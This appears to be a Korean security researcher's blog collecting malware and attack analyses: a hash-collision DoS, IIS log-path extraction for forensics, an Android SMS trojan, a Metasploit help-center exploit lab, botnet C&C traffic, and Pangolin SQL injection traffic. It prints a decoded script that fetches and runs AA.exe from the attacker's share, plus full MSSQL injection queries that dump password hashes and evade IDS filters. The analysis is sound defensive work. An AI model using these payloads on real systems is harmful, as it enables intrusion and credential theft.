0x02 analysis2012. 1. 4. 17:18


N사가 당했다고 합니다.

exploitdb에 파이썬으로 된 exploit이 공개된 상태이구요..

http://www.exploit-db.com/exploits/18305/


영향 받는 어플리케이션이 많습니다. (PHP, ASP.Net, Java 등등)


웹서버에서는 Request POST, GET 변수를 hash 구조로 관리한다. 그런데 POST 요청 파라미터수가 상당히 많을 경우(GET 요청은 길이 제한이 있으므로 문제가 되지 않음)에 hash 충돌이 많이 발생하게 되어 CPU load가 상당히 올라가게 된다. 이런 문제는 PHP5, Asp.Net, Java, V8 자바스크립트 엔진 등에서 발생한다.



exe로 된 툴도 유포가 되고 있으니 조만간 더 큰 피해도 있을거라 예상됩니다.



항상 그렇듯이 Follow TCP Stream 해봤습니다.



표현하기에 너무 많은 문자들이 있어 글자가 겹쳐서 출력되고 있습니다. -_-;;

패킷은 다음과 같이 무수히 많은 변수(파라미터)들이 존재하고 있으며 이로 인해 어플리케이션이 뻗는 현상이 발생합니다.




완벽하게 차단은 아직 안되는듯 합니다.

다만, 일시적으로 영향을 줄일 수 있다고 합니다. (아래 참고 링크 참조)


참고)
http://truefeel.tistory.com/205
http://truefeel.tistory.com/206


Posted by demantos
0x02 analysis2011. 7. 22. 14:12



요즘 침해사고 조사가 많아 매번 손으로 작업하기 귀찮아 스크립트를 하나 만들고 있습니다.

포렌식 측면에서 보면 이미지를 떠와서 하는게 가장 좋겠지만 그럴만한 상황도 안되고

대부분(99.9%) 서비스중인 시스템에서 원격으로 붙어서 분석을 진행하고 있습니다.


웹쉘이나 악성스크립트를 찾기 위해 미리 만들어둔 파일을 가지고 grep으로 찾는 방식을 쓰고 있는데요..

모든 사이트들이 웹 폴더나 웹로그 폴더가 다 제각각이다보니 이걸 자동으로 가져올 수 있지 않을까 찾다가

C:\WINDOWS\system32\inetsrc/MetaBase.xml 이라는 파일에 IIS 관련 정보들이 들어 있다는걸 알게되었습니다. 이제서야....-_-;;

해당 파일에 IIS 관련 정보들이 다~ 들어있더군요..


구조는 대충 다음과 같습니다.



http://www.microsoft.com/korea/technet/iis/adsi2.mspx



제가 만들고자 하는 자동화된 스크립트에서 사용할 부분은 IIsWebService, IIsWebServer, IIsWebVirtualdirectories입니다.

여기에 웹 폴더와 웹로그 폴더 정보가 들어있습니다.


현재 제가 사용하고 있는 2003 서버에서 xmlstarlet이라는 프로그램으로 XML 엘리먼트 구조를 확인해봤고 필요한 부분만 발췌하였습니다.

xmlstarlet : http://xmlstar.sourceforge.net/


C:\> xml.exe el -a C:\WINDOWS\system32\inetsrv\MetaBase.xml
...
configuration/MBProperty/IIsWebService
configuration/MBProperty/IIsWebService/@Location
configuration/MBProperty/IIsWebService/@AllowKeepAlive
...
configuration/MBProperty/IIsWebService/@HttpErrors
configuration/MBProperty/IIsWebService/@IIs5IsolationModeEnabled
configuration/MBProperty/IIsWebService/@InProcessIsapiApps
configuration/MBProperty/IIsWebService/@LogExtFileFlags
configuration/MBProperty/IIsWebService/@LogFileDirectory
configuration/MBProperty/IIsWebService/@LogFilePeriod
configuration/MBProperty/IIsWebService/@LogFileTruncateSize
configuration/MBProperty/IIsWebService/@LogInUTF8
...
configuration/MBProperty/IIsWebService/Custom
configuration/MBProperty/IIsWebService/Custom/@Name
configuration/MBProperty/IIsWebService/Custom/@ID
configuration/MBProperty/IIsWebService/Custom/@Value
...
configuration/MBProperty/IIsWebServer
configuration/MBProperty/IIsWebServer/@Location
configuration/MBProperty/IIsWebServer/@AppPoolId
configuration/MBProperty/IIsWebServer/@DefaultDoc
configuration/MBProperty/IIsWebServer/@LogFileDirectory
configuration/MBProperty/IIsWebServer/@LogFileLocaltimeRollover
configuration/MBProperty/IIsWebServer/@LogFilePeriod
configuration/MBProperty/IIsWebServer/@LogFileTruncateSize
configuration/MBProperty/IIsWebServer/@LogPluginClsid
configuration/MBProperty/IIsWebServer/@ServerAutoStart
configuration/MBProperty/IIsWebServer/@ServerBindings
configuration/MBProperty/IIsWebServer/@ServerComment
configuration/MBProperty/IIsWebServer/@ServerSize
...
configuration/MBProperty/IIsWebVirtualDir
configuration/MBProperty/IIsWebVirtualDir/@Location
configuration/MBProperty/IIsWebVirtualDir/@AccessFlags
configuration/MBProperty/IIsWebVirtualDir/@AppFriendlyName
configuration/MBProperty/IIsWebVirtualDir/@AppIsolated
configuration/MBProperty/IIsWebVirtualDir/@AppRoot
configuration/MBProperty/IIsWebVirtualDir/@AspAllowSessionState
configuration/MBProperty/IIsWebVirtualDir/@AspEnableParentPaths
configuration/MBProperty/IIsWebVirtualDir/@DefaultDoc
configuration/MBProperty/IIsWebVirtualDir/@Path
configuration/MBProperty/IIsWebVirtualDir/@ScriptMaps
configuration/MBProperty/IIsWebVirtualDir/@UNCPassword
configuration/MBProperty/IIsWebDirectory
configuration/MBProperty/IIsWebDirectory/@Location
configuration/MBProperty/IIsWebDirectory/@DirBrowseFlags
...
configuration/MBProperty/IIsWebVirtualDir/@AppIsolated
configuration/MBProperty/IIsWebVirtualDir/@AppRoot
configuration/MBProperty/IIsWebVirtualDir/@AuthFlags
configuration/MBProperty/IIsWebVirtualDir/@DirBrowseFlags
configuration/MBProperty/IIsWebVirtualDir/@Path
...


붉은색으로 된 부분이 저에게 필요한 부분입니다.

configuration/MBProperty/IIsWebService/@LogFileDirectory
configuration/MBProperty/IIsWebServer/@LogFileDirectory
configuration/MBProperty/IIsWebVirtualDir/@Path
configuration/MBProperty/IIsWebVirtualDir/@Path

LogFileDirectory 엘리먼트는 각각 IIsWebService와 IIsWebServer에 존재하고 있습니다.

IIsWebService/@LogFileDirectory : IIS 디폴트 설정
IIsWebServer/@LogFileDirectory : 관리자가 로그디렉토리를 별도로 지정할 경우
IIsWebVirtualDir/@Path : IIS 홈 디렉토리 경로

IIsWebService는 IIS 서비스 자체에 대한 글로벌한 설정이 있고
IIsWebServer, IIsWebVirtualDir은 IIS 웹서버가 1개 이상 존재할 경우 각각마다에 대한 설정이 있습니다.


MetaBase.xml 파일에서 이해를 돕기 위한 부분을 직접 보시겠습니다.

 <IIsComputer    Location ="/LM"

<IIsWebService    Location ="/LM/W3SVC"
                  LogFileDirectory="C:\WINDOWS\system32\LogFiles"

<IIsWebServer    Location ="/LM/W3SVC/1"
                 LogFileDirectory="D:\log"

<IIsWebVirtualDir    Location ="/LM/W3SVC/1/ROOT"
                     Path="C:\Inetpub\wwwroot"

<IIsWebServer    Location ="/LM/W3SVC/1798844755"
                 LogFileDirectory="C:\WINDOWS\system32\LogFiles"

<IIsWebVirtualDir    Location ="/LM/W3SVC/1798844755/root"
                     Path="D:\web"


스크립트 작성시에는 perl을 이용해서 필요한 부분만 추출해서 점검대상 IIS 서버의 웹 폴더와 웹로드 폴더가 어디인지

확인한 후 해당 폴더 하위에서 웹쉘이든 특이한 웹로그든 뒤지게끔 하면 되겠습니다.


perl -ne "print if /^<IIsWebServer/../^<\/IIsWebServer/" C:\WINDOWS\system32\inetsrv\MetaBase.xml | grep LogFileDirectory | gawk -F\" "{print $2}




그럼 이만 또 삽질하러~ :)








Posted by demantos
0x02 analysis2010. 8. 11. 15:49


 


http://www.readwriteweb.com/archives/first_trojan_for_android_phones_goes_wild.php
http://www.securelist.com/en/blog/2254/First_SMS_Trojan_for_Android
http://blog.trendmicro.com/first-android-trojan-in-the-wild/
http://www.boannews.com/media/view.asp?idx=22311&kind=0



   



제 안드로이드폰에 설치하기는 좀 그래서 에뮬레이터에 설치했습니다.

E:\02.tools\android\android-sdk-windows\tools> adb install RU.apk

설치 후에는 위 오른쪽 화면처럼 Movie Player 아이콘을 확인하실 수 있습니다.


adb shell로 에뮬레이터에 접속해서 확인해봤습니다.

E:\02.tools\android\android-sdk-windows\tools> adb shell
# ls -l
ls -l
drwxrwxrwt root     root              2010-08-11 02:45 sqlite_stmt_journals
dr-x------ root     root              2010-08-11 02:42 config
drwxrwx--- system   cache             2010-08-11 02:42 cache
d---rwxr-x system   sdcard_rw          2010-08-11 02:45 sdcard
lrwxrwxrwx root     root              2010-08-11 02:42 d -> /sys/kernel/debug
lrwxrwxrwx root     root              2010-08-11 02:42 etc -> /system/etc
drwxr-xr-x root     root              2010-05-06 16:16 system
drwxr-xr-x root     root              1970-01-01 00:00 sys
drwxr-x--- root     root              1970-01-01 00:00 sbin
dr-xr-xr-x root     root              1970-01-01 00:00 proc
-rwxr-x--- root     root        12215 1970-01-01 00:00 init.rc
-rwxr-x--- root     root         1677 1970-01-01 00:00 init.goldfish.rc
-rwxr-x--- root     root       103112 1970-01-01 00:00 init
-rw-r--r-- root     root          118 1970-01-01 00:00 default.prop
drwxrwx--x system   system            2010-08-11 02:44 data
drwx------ root     root              2010-01-28 00:59 root
drwxr-xr-x root     root              2010-08-11 02:43 dev
# cd /data
cd /data
# ls -l
ls -l
drwx------ system   system            2010-08-11 02:44 backup
drwxrwxr-x system   system            2010-08-11 03:42 system
drwxrwx--x system   system            2010-08-11 02:43 anr
drwxrwx--x system   system            2010-08-11 03:42 dalvik-cache
drwx------ root     root              2010-08-11 02:45 property
drwxrwx--x system   system            2010-08-11 03:42 app
drwxrwx--x system   system            2010-08-11 02:42 app-private
drwxrwx--x system   system            2010-08-11 03:42 data
drwxrwx--x shell    shell             2010-08-11 02:42 local
drwxrwx--t system   misc              2010-08-11 02:42 misc
drwxr-x--- root     log               2010-08-11 02:42 dontpanic
drwxrwx--- root     root              2010-08-11 02:42 lost+found

붉은색으로 된 부분이 RU.apk가 설치된 후에 변경된 부분입니다.
즉, 안드로이드 앱이 설치되면 위 디렉토리들을 건드린다는 말이 되겠죠..

시간이 좀 이상하게 표시되었는데 02:42분경이 제가 AVD(Android Virtual Device)를 생성한 시간이고 03:42분이 RU.apk를 설치한 시간입니다. (실제로는 저 시간이 아닌데 말이죠...별로 신경 안씁니다...-_-)

# cd system
cd system
# ls -l
ls -l
-rw------- system   system         64 2010-08-11 03:42 appwidgets.xml
-rw-rw-r-- system   system      38987 2010-08-11 03:42 packages.xml
-rw------- system   system       5520 2010-08-11 03:42 batterystats.bin
-rw------- system   system        171 2010-08-11 02:45 wallpaper_info.xml
-rw------- system   system          8 2010-08-11 02:45 syncmanager.prefs
-rw-rw---- system   system      16384 2010-08-11 02:45 accounts.db
drwxrwx--x system   system            2010-08-11 02:44 registered_services
drwx------ system   system            2010-08-11 03:43 usagestats
-rw------- system   system       4096 2010-08-11 02:43 entropy.dat


다른 파일들은 잘 모르겠고 packages.xml에 설치된 앱들에 대한 정보들이 들어 있습니다.

<package name="org.me.androidapplication1" codePath="/data/app/org.me.androidapplication1.apk" system="false" ts="1281498173000" version="0" userId="10024">
<sigs count="1">
<cert index="1" key="308201e53082014ea00302010202044c4d709a300d06092a864886f70d01010505003037310b30090603550406130255533110300e060355040a1307416e64726f6964311630140603550403130d416e64726f6964204465627567301e170d3130303732363131323531345a170d3131303732363131323531345a3037310b30090603550406130255533110300e060355040a1307416e64726f6964311630140603550403130d416e64726f696420446562756730819f300d06092a864886f70d010101050003818d0030818902818100953ee0f752a8bb5748822544a203ba062e2e097226be5b99f1a6f3268c699d1d48b752fd87bbe87e99c9f65dddb01031dbe2ce6d3aadd3ab5a46aa42b484ec974059923ab9a819c268412de25d1ed6e32736d2d3c956f8de21b8fde0c22b988c596fc90ab1988e4422a9696a6d20336b97f1634cc62683a68c77a40beef3f6e30203010001300d06092a864886f70d01010505000381810025e4c107f4f2c04fab2a568e90da4a8f06a224a85dcd8c5d6621a3bc0b378af9de46d98bc57f7b0a7b0f75c059852ed45b79527a33452d0d52564c9de663138af9162d5a882fa222a05823a9897a2c116dfa00952b8e9cc914d7652e95e3066763c9f436680256f38ae234df7417a39870e59302e67d375c7497fb40230dfba5"/>
</sigs>
<perms>
<item name="android.permission.READ_PHONE_STATE" />
<item name="android.permission.SEND_SMS" />
<item name="android.permission.WRITE_EXTERNAL_STORAGE" />
</perms>
</package>


상단의 뉴스기사를 보면 해당 악성코드가 유료 서비스 번호로 SMS를 발송한다고 했는데 <perms>에 SEND_SMS가 있군요..
문자를 보내기 위한 설정이라고 볼 수 있습니다.
흔히 앱 설치시 어떤 리소스에 접근하고 데이터를 사용한다라는 문구를 볼 수 있습니다. 이런 내용들인 셈이죠..

변경된 파일들을 나열해 보면

/data/system/packages.xml
/data/dalvik-cache/data@app@org.me.androidapplication1.apk@classes.dex
/data/app/org.me.androidapplication1.apk
/data/data/org.me.androidapplication1/databases/movieplayer.db
/data/data/org.me.androidapplication1/lib/


아직은 여기까지가 전부입니다.

일단 사용자들은 MoviePlayer가 설치되어 있는지 확인을 해보셔야 할 것으로 보입니다.



아래 분석들에서는 러시아 premium rate number로 SMS를 보내는 일반적인 자바 악성코드라고 이야기하고 있습니다.

premium rate number가 3353, 3354 등이 보이고 있습니다.

http://www.inreverse.net/?p=1272



국제전화 안되게 일단 막아야겠습니다!!



thnx to contagio :)






 

Posted by demantos
0x02 analysis2010. 6. 25. 15:54

2010/06/18 - [0x06 vul info] - CVE-2010-1885 취약점


Metasploit에 exploit이 추가되었습니다.


0x01 Metasploit exploit




클라이언트에서 http://172.17.9.140 으로 접속하면 exploit 코드가 실행되면서 도움말센터가 실행됩니다.
exploit 코드가 동작하면서 AA.exe 파일이 공격자(172.17.9.140)의 9999포트로 연결합니다.



세션을 확인하고 연결해 봤습니다.




연결된 공격대상의 shell(cmd.exe)를 실행하니 잘됩니다. ㅎㅎ




VNC를 실행하니 랜덤한 파일명의 exe 파일이 공격자의 4545포트로 붙는군요..




VNC 정상동작하고 화면제어 잘 됩니다.



0x02 Packet




exploit이 동작하는 순간부터의 패킷입니다.

/ -> /IG48oJvQDE -> /A/rA.html







/A/rA,html에 hcp 취약을 공격하는 코드가 포함되어 있습니다.

iframe 내에 있는 코드를 디코딩해보면 아래와 같은 스크립트가 생성됩니다.

<script defer>eval(unescape('Run(String.fromCharCode('cmd /c echo WScript.CreateObject("WScript.Shell").Run "cmd /c copy \\172.17.9.140\A\AA.exe %TEMP% && %TEMP%\AA.exe",0,false>%TEMP%\xB.vbs|cscript %TEMP%\xB.vbs>nul));'))</script>


공격이 성공한 이후에는 9999 포트로 통신을 합니다.





다른 분석글 링크 몇개 겁니다. 참고하세요~

http://contagiodump.blogspot.com/2010/06/jun-17-win-xp-sp2-sp3-0-day-cve-2010.html
http://blog.trendmicro.com/microsoft-help-center-zero-day-exploits-loose/






이 취약점을 해결하시려면 아래 링크를 참조하세요.

http://support.microsoft.com/kb/2219475


Posted by demantos
0x02 analysis2010. 3. 25. 15:47


오랜만에 글 쓰는듯 합니다.
프로젝트 참가하고 있는게 일이 좀 많네요...ㅜ.ㅜ

아무튼 짬짬히 악성봇 탐지 장비를 보는데
정말 오랜만에 특이한 녀석을 하나 발견해서 포스팅해봅니다.
미리 말씀드려야 될건 아직 제대로 분석을 하지 못했다는 거죠..-_-;;

혹시나 정보가 있으신 분들께서는 따스한 도움의 손길을~ ㅎㅎ


분석 대상은 muza-flowers.biz라는 도메인입니다.
매일매일 - 어쩌면 하루에도 몇번씩 - IP가 바뀌는 녀석입니다.
그렇다고 비슷한 대역에서 바뀌는 것도 아니고 전혀 다른걸로 바뀌죠..
글을 쓰는 지금 이 순간에는 48.34.204.49입니다.
한가지 동일한건 지금까지 제가 봤던건 보두 미국이라는 점입니다.

일단 장비에서 캡쳐된 pcap 파일 하나 보시겠습니다.




캡쳐된 파일을 보시면 116.123.237.95(PC)에서 208.101.27.44(C&C??)로 HTTP Request를 날리고 Response를 받는걸 보실 수 있습니다. 실제 패킷의 내용을 까보면 Host 헤더에는 문제의 muza-flowers.biz가 있다는 것이지요..

물론 이 파일은 시간이 좀 지난 파일이기에 그 당시 muza-flowers.biz가 208.101.27.44라는 IP를 갖고 있다고 생각할 수 있겠지만 웹 브라우저에서 muza-flowers.biz로 접속이 안됩니다. (밑에서 좀 더 자세하게 언급하겠습니다)

일단 이 패킷에서 HTTP 내용을 보면 Content-Encoding이 gzip이라고 나옵니다. 하지만 Decompress하는데 실패했다는 메시지도 함께 볼 수 있습니다. (Decompression failed)




압축해제(Decompress)가 실패했다고는 했지만 혹시나 하는 마음에 HEX 스트림 가져다가 WinHex에 그대로 갖다 붙여 넣고 확장자는 gz로 해서 리눅스에서 gunzip 명령으로 압축해제를 시도는 해보았지만 역시나 안되더군요..

추측이지만 Waledac처럼 어떤 다른 압축알고리즘을 썼거나 암호화 기법을 쓴게 아닐까 하는 생각이 듭니다.
Waledac은 좀비와 C&C간의 전송 데이터를 XML -> Bzip2 -> AES -> Base64 -> +,/,= 치환 의 방식으로 인코딩해서 보냈는데 설마 이녀석도 이런 방법을 쓴건 아닐까 하는 생각도 듭니다. 아니길 바라지만요...

google신께 도움을 요청하니 아래 URL 하나를 주시더군요..


[Emerging-Sigs] Zeus? Virut? Krap? FakeAV?
http://lists.emergingthreats.net/pipermail/emerging-sigs/2010-January/005837.html


tor 프락시를 쓰고 있다는 이야기를 하고 있습니다. 즉, pcap 파일에 있는 IP들은 모두 tor 노드이고 이 tor 노드를 거쳐서 muza-flowers.biz에 접속해서 데이터를 주고 받고 있는것인데 이렇게 되면 muza-flowers.biz를 차단해봐야 소용이 없습니다. 


Zombie <--> tor nodes <--> muza-flowers.biz

차단을 하자면 tor 노드들을 차단해야 하는데 정상적인 사이트일 경우 문제가 될 수도 있습니다.

예전에 go-thailand-now.com라는 도메인을 차단한 적이 있는데 muza-flowers.biz에서 사용하는 URL과 이 도메인에서 사용하는 URL 형식이 동일한 것으로 보아 동일한 패키지가 아닌가 의심됩니다.


여러개의 pcap에서 Request URL만 모아보니 대충 몇개로 압축이 되었습니다. 확인된 URL 중 일부만 나열해봤습니다.

/blog.php?4ed4e3aa0816a1b6877015973c817814
/blog.php?e3c4e6e029a15c3939fe465ec50bf6da
/download.php?file=9ca2a87a8480702cad0f052ea08ca423
/entry.php?6abf6b5a35d51a40895647aeb7b3cbc9

/forums.php?fid=44
/forums.php?fid=73
/index.php?board=174.135
/index.php?board=42.116
/index.php?board=47.197
/index.php?board=60.209
/index.php?topic=163.243
/index.php?topic=165.78
/index.php?topic=185.15
/index.php?topic=252.80
/login.php?user=1cee36ba3569defbc0564c774a1c91fe
/login.php?user=3688a605492193f258b32919f4d7eae9
/login.php?user=ba63cc9d710ad08ab9a1fc6256c82c63
/logout.php?sessid=6ec99394eeca06ebf19d976d1ac75ed6
/logout.php?sessid=8ac0c818bfc50a3916612b381853935b
/memberlist.php?mode=viewprofile&u=199
/memberlist.php?mode=viewprofile&u=246
/memberlist.php?mode=viewprofile&u=82
/newpost.php?sub=newthread&fid=120
/newpost.php?sub=newthread&fid=247
/newpost.php?sub=newthread&fid=3
/newpost.php?sub=newthread&fid=74
/newpost.php?sub=newthread&fid=79
/posting.php?mode=post&f=107
/posting.php?mode=post&f=11
/posting.php?mode=post&f=155
/posting.php?mode=post&f=168
/redirect.php?url=812e9f2f003c43d21a4020cf0b253e0a
/redirect.php?url=fc24d4999b0d04468e577217144ef467
/search.php?doc_id=0ee24f8c065630d0510b6da4edce25a0
/search.php?doc_id=21e0498e17c4f95cb434f99795b63338
/search.php?doc_id=4eb05ed5818e18d297b0fc110310b9f3
/topic.php?tid=66
/upload.php?648e98ef1c2d271731666186e4111fb1
/upload.php?81a523949a05305ebd794f1a30140b55
/upload.php?93eb78b0ac81f40be362a0b66680aa45
/upload.php?b307ffb4011c0afcd0981256e975480b
/YaBB.pl?num=116
/YaBB.pl?num=121
/YaBB.pl?num=145
/YaBB.pl?num=178
/YaBB.pl?num=49


이외에도 더 많은 php파일들이 있을 것으로 예상됩니다. 좀 더 많은 pcap 파일들을 뒤지다보면 확인할 수 있을듯 한데요..

전송되는 데이터는 추측건데 

C&C -> 좀비 : 업데이트된 tor node 리스트외 기타 명령
좀비 -> C&C : 시스템 정보나 기타 훔치고 싶은 데이터

정도가 아닐까 생각됩니다.



아직 분석을 계속하고 있는 단계라 명확한 결론이 나오질 않았는데요 정보가 많이 않아 다소 힘든감이 없지 않아 있습니다.

좀 더 분석해서 추가정보가 나오면 바로 얻데이트 하도록 하겠습니다.



추가 정보 #1
http://www.m86security.com/labs/i/Rustock-rages-on,trace.1243~.asp






Posted by demantos
0x02 analysis2010. 1. 12. 00:18


하우리에서 바이러스 숙주사이트 차단 메일을 받았습니다.

fastupdater.net
on77.net


검색을 해보니 http://chpie.tistory.com/112 에 정보가 있더군요..
위 블로그에서 파일을 받아서 좀 더 살펴봤는데 chpie님과는 좀 다르게 접근을 해봤습니다.

일단 C:\WINDOWS\systam32\svohasf.exe를 생성해서 이 프로세스가 C&C에게 연결을 합니다.
그리고 연결전에 윈도우 방화벽 기능에 이 프로그램에 대한 접속을 허용하는 레지스트리를 생성합니다.

<파일 생성>



<서비스 등록>





<C&C 접속>



<방화벽 기능 관련 레지스트리 등록>



chpie님의 블로그에도 나와 있는것처럼 스트링을 확인해보면 1개의 IP와 총 2개의 도메인이 확인됩니다.




svdhost2.exe를 실행한 후에 패킷을 캡쳐해보면 202.59.156.124:8776으로 접속을 시도하지만 현재는 서버가 죽어있어서 그런지 접속이 안됩니다.




202.59.156.124로 접속이 안되면 on77.net의 7064 포트로 접속을 시도합니다.
위 그림을 보시면 접속 후 어떤 데이터들을 보내고 있는데 스트림을 살펴보면 위에서 보셨던 svohasf.exe라는 파일명도 보이고 PE 포맷도 확인할 수 있었습니다.




MZ 이후가 svohasf.exe 파일 내용이라면 그 전에 나오는 내용들이 어떤 의미인지 확인을 해봐야 할 것으로 보입니다.

좀비가 C&C에게 보내는 데이터(빨간부분)도 있고 C&C가 좀비에게 보내는 데이터도 있습니다.(PE 파일 제외하고)
패킷의 RAW 데이터를 확인해봤습니다.

확인은 두번의 테스트를 했습니다.

1) C&C (222.231.57.37) --> 좀비 (192.168.37.10) : random data (8byte)
2) 좀비 (192.168.37.10) --> C&C (222.231.57.37) : random data (20byte)
3) C&C (222.231.57.37) --> 좀비 (192.168.37.10) : 08 00 00 00 00 00 00 00 (8byte)
4) C&C (222.231.57.37) --> 좀비 (192.168.37.10) : 48 D4 00 02 13 A8 46 4B FA 01 C6 B5 9F 2E FF 5B 
                                                 6A 26 04 25 C5 AA F4 2E 48 B1 2A 1D 35 45 D3 BC 
                                                 6C 65 A8 4C 57 44 DD CD 00 D4 00 00 01 00 73 76 
                                                 6F 68 61 73 66 2E 65 78 65 00 00 00 F0 E5 12 00 
                                                 44 E5 12 00 24 E5 12 00 4D 5A + PE File(malware)

두번 실행했을때 처음 서로 주고 받는 데이터는 상이 했지만 나머지 두번의 C&C가 좀비에게 전송하는 데이터는 일정했습니다.


1) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




1) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




2) 좀비 (192.168.37.10) --> C&C (222.231.57.37)




2) 좀비 (192.168.37.10) --> C&C (222.231.57.37)




3) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




4) C&C (222.231.57.37) --> 좀비 (192.168.37.10)




분명 위에 블럭처리한 부분들이 의미하는게 있을텐데 정확히 알 수가 없군요...(내공이 부족하여...ㅜ.ㅜ)
단 첫번째,두번째 서로 주고 받는 데이터들은 랜덤한 데이터이기 때문에 IDS에서 탐지문자열로 사용하기 적절하지 않지만
마지막에 보이는 항상 일정한 HEX값은 IDS 탐지문자열로 사용하기에 나쁘지 않을 것으로 보입니다.
물론 바이너리값으로 사용하셔야겠죠..
지방쪽 IDS에 넣어서 추이를 살펴볼만할 것으로 판단됩니다.



p.s
최근에 특이한 형태의 C&C들이 많이 보입니다.
특히 HTTP로 통신하는...
게다가 일반 텍스트로 통신하는게 아닌 암호화되거나 인코딩된...
인코딩된거면 그나마 쉽겠지만 특이한 방식으로 암호화된 것이라면 참 난감하겠죠...
그런 녀석들 몇개 찾아 놨으니 시간될때마다 조금씩 분석해봐야겠습니다.





Posted by demantos
0x02 analysis2010. 1. 6. 18:17

악성코드는 아니지만 SQL Injection Tool로 유명한 판골린을 분석해보았습니다.
어떤 쿼리를 날려서 인젝션을 수행하는지...

이전 버전 사용할때 대부분 옵션은 그냥 디폴트로 놓고 사용했었는데요
이번에는 옵션을 바꿔가면서 어떤 쿼리를 날리는지 확인해봤습니다.

먼저 확인해 볼 부분은 Setting -> Advanced입니다.




Replace space as /**/ , + , %09 , [TAB]
Bypass firewall filter when 'select' is not allow
Auto-analyzing keyword
URI Encode Mode
Enable BT Model (bypass firewall)
Stop after error happens(access data)
Auto check record count of tables



옵션은 모두 7가지였고 공백(space)을 대체하는 곳에서 4가지 기능이 있었습니다.
디폴트 옵션은 Auto-analyzing keyword입니다.

하나씩 선택해서 패킷을 떠 보았는데 테스트는 실행버튼() 클릭해서 기본적으로 수집할 대상을 선정한 후에 Select All, Go 버튼을 클릭해서 기본 정보만 수집하는 테스트만 했습니다.

먼저 어떤 쿼리를 날리는지부터 확인해보고 각 옵션간의 어떤 차이점을 보이는지 확인해보도록 하겠습니다.


0x01 Pangolin SQL Injection Query

 and db_name()>0--
 and @@version>1--
 and db_name()>0--
 and @@servername>0--
 and host_name()=0--
 and system_user>0--
 and user>0--
 and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(1))+char(124)=1 and 1=1
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 1 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 2 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 3 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 4 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 5 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 6 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--
 ;insert pangolin_test_table exec master.dbo.xp_availablemedia;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  1 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  2 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table
(name nvarchar(255),description nvarchar(4000));--
 ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  2 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  1 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  2 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--


기본적으로 날리는 쿼리는 위와 같습니다.
빨간색으로 표시된 부분을 보시면 pangolin_test_table이라는 테이블을 만들어서(create) 특정 데이터를 삽입(insert)한 후에 이 테이블에서 데이터를 선택(select)하고 모든 작업이 끝나면 테이블을 삭제(drop)하고 있습니다.

이렇게해서 확인된 정보는 UI에 출력됩니다.




기본 옵션(Auto-analyzing keyword)을 사용하면 공백(space)을 %20으로 대체해서 쿼리를 날립니다.
수작업할때는 그냥 공백으로 넣어도 결국 %20으로 바꿔서 URL을 요청하는 것과 동일한 방식입니다.


0x02 Pangolin SQL Injection Query by Advanced Setting

기본적으로 날리는 쿼리는 동일합니다. 다만 SQL Injection할 쿼리를 어떤 형태로 보내느냐하는 차이점만 있습니다.
하나씩 옵션별로 나타나는 특징들만 살펴보도록 하겠습니다.


Replace space as /**/

공백문자열을 /**/ 으로 대체합니다. IDS 패턴 우회기법에서 종종 사용하는 기법입니다.

/board_view.asp?num=16/**/and/**/(select/**/top/**/1/**/cast([name]/**/as/**/nvarchar(500))%2bchar(94)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/[dbid]/**/in/**/(select/**/top/**/1/**/[dbid]/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/[dbid]/**/desc))%3E0--

위와 같은 방법으로 /**/을 넣게 되면 IDS에서 탐지됩니다. -_-;;
문자열로 탐지하는 IDS를 우회기법은 예를 들어 select를 탐지한다면 se/**/le/**/ct 같은 방식으로 쿼리를 날려야 우회가 가능한데 이 옵션은 그냥 공백만 /**/으로 대체했기 때문에 IDS에서 탐지될 확률이 아주 높습니다.


Replace space as +

